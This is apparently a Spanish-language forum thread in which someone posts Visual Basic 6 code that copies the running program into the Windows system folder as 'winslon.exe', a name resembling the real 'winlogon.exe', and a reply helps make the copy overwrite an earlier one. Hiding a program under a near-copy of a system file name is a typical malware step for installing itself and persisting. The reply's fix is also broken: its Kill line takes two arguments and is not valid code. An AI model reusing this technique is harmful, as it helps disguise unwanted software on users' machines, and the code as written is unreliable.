Código:
If Right(ruta, 1) <> "\" Then ruta = ruta & "\"
ruta = ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ruta, sys & "\winslon.exe"
mmmm pues no estoy seguro si el "FileCopy" sobreescribe archivos, pero porque mejor no lo borras y pones el nuevo.
Código:
dim l as long
If Right(ruta, 1) <> "\" Then ruta = ruta & "\"
ruta = ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
'--------------------------------------------------------------------
on local error resume next ' Activo el control de errores
l = Getattr(sys & "\winslon.exe") 'Comprueba si ya existe el archivo
if err.number = 0 then
'Si no se genera error entonces si encontro el archivo
Kill ruta, sys & "\winslon.exe" ' Lo borra
end if
on local error goto 0 ' Desactivo el control de errores
'---------------------------------------------------------------------
FileCopy ruta, sys & "\winslon.exe" ' y pones el nuevo
y como ahora se que no tienes MSND instalado te diré que la función GetAttr es para obtener los atributos de un archivo (si es de solo lectura y esas cosas) y aqui lo uso para saber si existe el archivo, si existe va a regresar un valor "long" a la variable "l", si no existe se genera un error, por eso pongo el control de errores "On Local Error..."